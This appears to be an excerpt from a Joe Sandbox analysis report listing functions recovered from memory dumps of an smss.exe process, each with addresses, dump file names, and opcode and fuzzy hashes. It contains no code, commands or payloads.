                                                      Function 00007FFD9BFC7275 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b5a5d82e46e0d801f1446fa705da3c8225e6be29fa93da8b50ad18983570f774
                                                      • Instruction ID: 56bc2bddd0256b8521fe1cd4de1ea28d1e8539d6ac4720a82292f4e39508f8f1
                                                      • Opcode Fuzzy Hash: b5a5d82e46e0d801f1446fa705da3c8225e6be29fa93da8b50ad18983570f774
                                                      • Instruction Fuzzy Hash: EA313A30B0954ECFEBB8EF9484655FD77A1FF44300F51027AE40ED65A1DA3AAA908B41
                                                      Function 00007FFD9B860C25 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 485c946b70a0c54652e1ac46914a88b55885b0168a67515b04661f803212389d
                                                      • Instruction ID: 34481fd531c769ab4ece3c9e358f5e987c7e72561ff0d7fcd4070ec4920e2594
                                                      • Opcode Fuzzy Hash: 485c946b70a0c54652e1ac46914a88b55885b0168a67515b04661f803212389d
                                                      • Instruction Fuzzy Hash: 3B316D31F1D24DCFE721A7A888A11EC7B60EF85310F8545F7C049CB1D7E9782A898745
                                                      Function 00007FFD9B860998 Relevance: .1, Instructions: 94COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 82451f9f7c34ef65849170a9936c8a00e11c43e6e334e3e2d4c434403be08041
                                                      • Instruction ID: 49a7a9cf328ccfd7da8f586bce980c71360ef7bfe5abbf5e4c85d25129f10ad5
                                                      • Opcode Fuzzy Hash: 82451f9f7c34ef65849170a9936c8a00e11c43e6e334e3e2d4c434403be08041
                                                      • Instruction Fuzzy Hash: 6621F920B1D91D5FE758F76C546AB7972C2EB9C311B5100B9E40EC32F7ED24AC424281
                                                      Function 00007FFD9BFC46A3 Relevance: .1, Instructions: 92COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 75a677dadd25c0fc1a632551a6e99af64acd5acca51122e9bf7527aadc444f5e
                                                      • Instruction ID: fca0fdcaa674101b300017484386a41b9d9eef67ef41aff1ba8cae8445befaa3
                                                      • Opcode Fuzzy Hash: 75a677dadd25c0fc1a632551a6e99af64acd5acca51122e9bf7527aadc444f5e
                                                      • Instruction Fuzzy Hash: CA213962F0E54D4FE768BBE898321B8B7E0EF46350F1602BDD05EC71E3ED1A69814640
                                                      Function 00007FFD9BFCD77E Relevance: .1, Instructions: 91COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a350dc9617972f69b88e4068a7f8fea759fd85107c85b3c1642d9a0b3c650ee8
                                                      • Instruction ID: adaed2a2f9e937e77e70c175ce510748262613daa18937e6f4319e62471298e9
                                                      • Opcode Fuzzy Hash: a350dc9617972f69b88e4068a7f8fea759fd85107c85b3c1642d9a0b3c650ee8
                                                      • Instruction Fuzzy Hash: 1A210B76F0E94D4FE768BBA888315BC77E0FF45350F16027AD05DC39E2DE2929418640
                                                      Function 00007FFD9BFC6160 Relevance: .1, Instructions: 90COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c88a9eaa1d5444ab4a962f9b272bcb11b5bd8f6e9d6712beb1e1a7579608573b
                                                      • Instruction ID: 6e0586a746544d6ab952502523cc6a5650c18541475b597ead282ab8b51fc955
                                                      • Opcode Fuzzy Hash: c88a9eaa1d5444ab4a962f9b272bcb11b5bd8f6e9d6712beb1e1a7579608573b
                                                      • Instruction Fuzzy Hash: 22315E10B1D9AA5EFB3A9F5848705B47B52EF6231171943BAC08BCB8E7C83EB5C58341
                                                      Function 00007FFD9BC281B0 Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 37fd5a47c345adb5c1fac51372ada943bf4c8d0165d98975e19012103f7c9650
                                                      • Instruction ID: 7dd797662847a0f88010acca18a5ca4050a3ced4a6fc0aaa000806f54ce6546f
                                                      • Opcode Fuzzy Hash: 37fd5a47c345adb5c1fac51372ada943bf4c8d0165d98975e19012103f7c9650
                                                      • Instruction Fuzzy Hash: 46312D10A1F9DA8AF739C37848745B87B51EF52312B2D46B6D096DB4EBC82CE9C18341
                                                      Function 00007FFD9BC255C2 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 23a519b18f5e592c67867016d71aa4c36f023514e2bc80b572096338d7f55391
                                                      • Instruction ID: 7383b6bc7de0fd7305e17761717673df4372d45eef77bbf36db1d471fc55630c
                                                      • Opcode Fuzzy Hash: 23a519b18f5e592c67867016d71aa4c36f023514e2bc80b572096338d7f55391
                                                      • Instruction Fuzzy Hash: 49210A71E1991D8FDF98DF68C465AEDB7B1FF68310F4501AAD00EE32A1DE35A9818B00
                                                      Function 00007FFD9BFCF210 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1202b0398b1f699c41176189302cebb0686ff4940c1303301348f1af1d45ec18
                                                      • Instruction ID: 441616372b7a068f67e5300a29e965244a221edf5e7d3c11acbb12a493d95418
                                                      • Opcode Fuzzy Hash: 1202b0398b1f699c41176189302cebb0686ff4940c1303301348f1af1d45ec18
                                                      • Instruction Fuzzy Hash: B5315810A2D1EB4AE7399F5884745F4BB51EF8131072943FAD0878B8E7C92EB6C99341
                                                      Function 00007FFD9BC2C0D2 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 33d9b0b68693e3c583838453dcd7cb94897f4fdbb0bf0aa7e5421fb681a1f40f
                                                      • Instruction ID: e21073d1145b2feca77d5d533595e32203805d436dbbe6b5e7c557b2fe067572
                                                      • Opcode Fuzzy Hash: 33d9b0b68693e3c583838453dcd7cb94897f4fdbb0bf0aa7e5421fb681a1f40f
                                                      • Instruction Fuzzy Hash: 34212C70E0990D9FDFA8EB58D465AEDB3B1FF58301F0401AAD00EE32A1DE35A9818B00
                                                      Function 00007FFD9BFCC642 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6a935723c63be7b7c8270bc21e640a7c3d9603be9a455c118d6a222eeac1e629
                                                      • Instruction ID: 779a4e0128ce54a582262d041ea0fa9cce3056251fe360411295a76564dce9dd
                                                      • Opcode Fuzzy Hash: 6a935723c63be7b7c8270bc21e640a7c3d9603be9a455c118d6a222eeac1e629
                                                      • Instruction Fuzzy Hash: D821DB71A1591D9FDF98EF58C465AFDB7B1FF59300F4101AAD04EE3291CE35A9818B40
                                                      Function 00007FFD9BFC3562 Relevance: .1, Instructions: 82COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ef1440c21a5af71dc86157aca076ee5f6d2fc1f2be790f93ef2bbc78db4709ee
                                                      • Instruction ID: 5d24de51c7f86f9ace3f1c765d30c994fdc7ba6a886e799a2364d0674b589c0c
                                                      • Opcode Fuzzy Hash: ef1440c21a5af71dc86157aca076ee5f6d2fc1f2be790f93ef2bbc78db4709ee
                                                      • Instruction Fuzzy Hash: 2821DA31E1591D8FDFA8EF58C466AFDB7B1FF58310F1101AAD04EE3291DA35AA858B40
                                                      Function 00007FFD9BFCF240 Relevance: .1, Instructions: 79COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d8effaf2d51f9141fc2457cf0db3d3f72b696e62c13961381ff0a07ca70e3db3
                                                      • Instruction ID: 13aabf18587aab424f15170c4df62d38c373c6dd86752ac82fb0f5585bb1fea6
                                                      • Opcode Fuzzy Hash: d8effaf2d51f9141fc2457cf0db3d3f72b696e62c13961381ff0a07ca70e3db3
                                                      • Instruction Fuzzy Hash: 6F213810A2D46B4AF6389E4884749F5B761FF9431072547FAD05BC78ABCA2EBAC99340
                                                      Function 00007FFD9BFCC31A Relevance: .1, Instructions: 71COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fb6e37acc807090e65f9e9afe4ab4e14d39a9b876f2f8f65738c5a57f8fe6958
                                                      • Instruction ID: da48a3c61f5a63a3855b5c684280e696b23685d26002a962aab4142a85c9646e
                                                      • Opcode Fuzzy Hash: fb6e37acc807090e65f9e9afe4ab4e14d39a9b876f2f8f65738c5a57f8fe6958
                                                      • Instruction Fuzzy Hash: 4521C511A4F2CA8BE3376AA464315782E406F42214F1A03FAD1998A0E3D94E26A193D3
                                                      Function 00007FFD9BC2672F Relevance: .1, Instructions: 70COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3973357e8809f9085801e71d9a8792a7ddc4edfff62ec52ba7dedfe0f40f6387
                                                      • Instruction ID: 88ac848b0ac4ff65d91e11a59ab26d1f04197e1dafaf5b9b1c8737536d1536f8
                                                      • Opcode Fuzzy Hash: 3973357e8809f9085801e71d9a8792a7ddc4edfff62ec52ba7dedfe0f40f6387
                                                      • Instruction Fuzzy Hash: 54110671E0A9498FEB18FBB898626EC77E0EF45310F0501BDE04AC7197DE2968068750
                                                      Function 00007FFD9B864413 Relevance: .1, Instructions: 70COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 92c4e4eac1c4630dd990a371089093906a03552ff615d258bc46b8c181d96e17
                                                      • Instruction ID: f207afb910410044aa3fa1cd873a48f9f0d9cce45bb4019c71d64b6c8bc3c4c9
                                                      • Opcode Fuzzy Hash: 92c4e4eac1c4630dd990a371089093906a03552ff615d258bc46b8c181d96e17
                                                      • Instruction Fuzzy Hash: AA214831F1A50DCEEBA5E794C4796BC63A1FF98710F9601BAC00DD72B5DE38AA808700
                                                      Function 00007FFD9BC27260 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a0382df5742e5a381d420c4b935b52b30df5cbe70cfbe43a7442f1fb0a62f07e
                                                      • Instruction ID: 47904c273ec9c371227dc4366de7010fd6bb456ef6fed8d7b5372052c29d4be8
                                                      • Opcode Fuzzy Hash: a0382df5742e5a381d420c4b935b52b30df5cbe70cfbe43a7442f1fb0a62f07e
                                                      • Instruction Fuzzy Hash: 8F112721B09A0D8FEB68EB7484619FD33D0EF54361B05067AE04EC71E2DE28FA058350
                                                      Function 00007FFD9BFCE2C0 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ea5a7062309c86f9a011e3324411a00b9e831067a2255fb5e478bc28d392dba9
                                                      • Instruction ID: e6e7b67dfc4f845da5b44a695c3022ed23779437c1bcb8d5add7b122b40629a7
                                                      • Opcode Fuzzy Hash: ea5a7062309c86f9a011e3324411a00b9e831067a2255fb5e478bc28d392dba9
                                                      • Instruction Fuzzy Hash: 7311C131F0990A8FEB69FEA494219F977D0FF54251B014BBAD04EC71E2DE29BA858350
                                                      Function 00007FFD9BFC5210 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c7ccd955475a07db8cd771dd4f647cbab275bc72b896d79c0265a7b7c9b38c3f
                                                      • Instruction ID: b138fab75d50f7af963bdc013f5a0aadc9d836edc0a0a010d5e10f8656bd35b1
                                                      • Opcode Fuzzy Hash: c7ccd955475a07db8cd771dd4f647cbab275bc72b896d79c0265a7b7c9b38c3f
                                                      • Instruction Fuzzy Hash: FD11B221B199094FEB68FEA584229F573D0EF54250B4147B6D04FC75E2DE29FA458250
                                                      Function 00007FFD9B86541B Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e5c37f6ffd4e29410c3bf287d4bf13e791b9814203e7ff3a4853bfb1d9b46926
                                                      • Instruction ID: acdfad4f894bc94d295eae9a4b2f5e2d7c4b611457c46036885f5cf694966e5b
                                                      • Opcode Fuzzy Hash: e5c37f6ffd4e29410c3bf287d4bf13e791b9814203e7ff3a4853bfb1d9b46926
                                                      • Instruction Fuzzy Hash: 34017021B29D4D8FEBA8E76C846A67463D1EF5874078504B8E00EC72B2ED14AD418740
                                                      Function 00007FFD9BC270DE Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 182da0a6e50c77dac3ec1935d571937519aa1ea0d4d476ae7d0ca8e2fc78438c
                                                      • Instruction ID: 12c28b42e64228e35f7ebecba4cfefced514c48c16fc10ff834ecfa9b8501838
                                                      • Opcode Fuzzy Hash: 182da0a6e50c77dac3ec1935d571937519aa1ea0d4d476ae7d0ca8e2fc78438c
                                                      • Instruction Fuzzy Hash: AB116B3270950A8FF7199AA8D4616F83390EF65361F1646BBE81EC72E1DB38EE508750
                                                      Function 00007FFD9BFC508E Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4aa8db8812a7003f32a732671f5437d797ad08f7a4a1cd84b27b64aee685a21f
                                                      • Instruction ID: b4d78b9de3aa95e0f09378668d64d4bc7ef56c6e5ed21d2982b9666411754263
                                                      • Opcode Fuzzy Hash: 4aa8db8812a7003f32a732671f5437d797ad08f7a4a1cd84b27b64aee685a21f
                                                      • Instruction Fuzzy Hash: 74116B3170650A4FF729AE58D4326F433D0EF64361F1143BAE91AC72E1DB3AAA908790
                                                      Function 00007FFD9BFCE13E Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 787f7adbd2d8eb70465c2ed2587a5685c95d723150bb71940dbf088e7a38056d
                                                      • Instruction ID: b9e2519a47ed5aebab975b1c696b586d9a270606ceb32d5207590c226129c481
                                                      • Opcode Fuzzy Hash: 787f7adbd2d8eb70465c2ed2587a5685c95d723150bb71940dbf088e7a38056d
                                                      • Instruction Fuzzy Hash: AB116B32B0550A8FF729AE98D8217F43390EF55361F1147BAD41AC72E1DB3ABA908750
                                                      Function 00007FFD9BFC1D68 Relevance: .1, Instructions: 54COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fbb58529fb3398749bd2c6ce8ef2ca77ab68ffa5c6d7be841faa38265c71aa21
                                                      • Instruction ID: 3975aaf179fbe6c7e7e5960ad5e86640b13b2322579831ff85693ff455923944
                                                      • Opcode Fuzzy Hash: fbb58529fb3398749bd2c6ce8ef2ca77ab68ffa5c6d7be841faa38265c71aa21
                                                      • Instruction Fuzzy Hash: 23019C72F0A64D4FF774A99448291FD37A0EF56340F12067ED00AD71A1EE652E468351
                                                      Function 00007FFD9B860C38 Relevance: .1, Instructions: 54COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a3c47d7dfa90981783fb84256cfd3cc8c3b5d5e41e411d07a07f8151b71a65d9
                                                      • Instruction ID: a166540de7a7689ad4d4a49098151032aa092d014d6a6b044c94c3540a519923
                                                      • Opcode Fuzzy Hash: a3c47d7dfa90981783fb84256cfd3cc8c3b5d5e41e411d07a07f8151b71a65d9
                                                      • Instruction Fuzzy Hash: 7811C635F1E68DCFE722DBA888A01AC7FB0EF56710F4644F7C084DB1A6E53826498784
                                                      Function 00007FFD9B8642AE Relevance: .1, Instructions: 51COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c76c1671a39079fa63bcd3ab5afe8531d5c44d75b6b98628f2c8adc332be6df0
                                                      • Instruction ID: 1ff9034c30a4edebb33a0cc8c5973a434a2362668b5a3a414b4df90ed0c8cad1
                                                      • Opcode Fuzzy Hash: c76c1671a39079fa63bcd3ab5afe8531d5c44d75b6b98628f2c8adc332be6df0
                                                      • Instruction Fuzzy Hash: 8C019260F2A50E8FEBA4F7A4C4AD7B862D1AF58741F9604B5940DD71F6ED28A9408704
                                                      Function 00007FFD9BC2B9BE Relevance: .0, Instructions: 50COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e1b4a1224ccd3a2b22bfec4cd00fee913b585f9c4fd0df04e56e1c6843d4eeb5
                                                      • Instruction ID: ba5d9a3875188b5f742ccdf7a600b1a1afb95a274f39e15b2ad0c54b5eaf45dc
                                                      • Opcode Fuzzy Hash: e1b4a1224ccd3a2b22bfec4cd00fee913b585f9c4fd0df04e56e1c6843d4eeb5
                                                      • Instruction Fuzzy Hash: 87F0F431B0CA088FE75CAE2CA8166BC33C0EF88321F01017BE05EC72A6DE2199424641
                                                      Function 00007FFD9B8657F5 Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 751d95ea4f0e4b5b7d157f8352a0c64e583125c0f0fb991a51f4469b12a47c87
                                                      • Instruction ID: 33d3f0fe2f86c622b7c76eb13e6629d7b8bbe0d369cf8bd8645d8d16412dcb5f
                                                      • Opcode Fuzzy Hash: 751d95ea4f0e4b5b7d157f8352a0c64e583125c0f0fb991a51f4469b12a47c87
                                                      • Instruction Fuzzy Hash: 6011DE34A18A1DCFDB94DF48C8D5BE977F1FB68305F51416AD40AD72A1CB34AA84CB41
                                                      Function 00007FFD9B86583C Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7152336ca1f149cb7d496c78843c424508e021a461469c7c7aac7eb05c15913b
                                                      • Instruction ID: d2a68cf0f6a1063d3a3912131fc1db15d25357df99bc3aa217fe7df6edbdd6b2
                                                      • Opcode Fuzzy Hash: 7152336ca1f149cb7d496c78843c424508e021a461469c7c7aac7eb05c15913b
                                                      • Instruction Fuzzy Hash: 4A110C30A18A0DCFDB94EF48C8E4AEDB7F1FB68304F504169D00AD32A1CB34AA84CB40
                                                      Function 00007FFD9B860C40 Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: af6a557e4d94c386967c742f275e771e49b3174edc7da4fdfbcdff5bad5d5c31
                                                      • Instruction ID: 50a73be9b9105758ddefd2a64e5da6fd472bd8233e9711b4546fc25919c39195
                                                      • Opcode Fuzzy Hash: af6a557e4d94c386967c742f275e771e49b3174edc7da4fdfbcdff5bad5d5c31
                                                      • Instruction Fuzzy Hash: A611A531F1E68DCFE722DBA484A019C7FB0EF56710F4645F7C084DB1A6E53866498744
                                                      Function 00007FFD9B864499 Relevance: .0, Instructions: 43COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ae01096ee84fcac336d0eda518794b1e8b40881efd7f0f8c87f70c953bf06cb8
                                                      • Instruction ID: 7d7b59e81bd8f38a3aab5e0cbcb71ea7876ea36973a95bb51f3463c0fea0ae17
                                                      • Opcode Fuzzy Hash: ae01096ee84fcac336d0eda518794b1e8b40881efd7f0f8c87f70c953bf06cb8
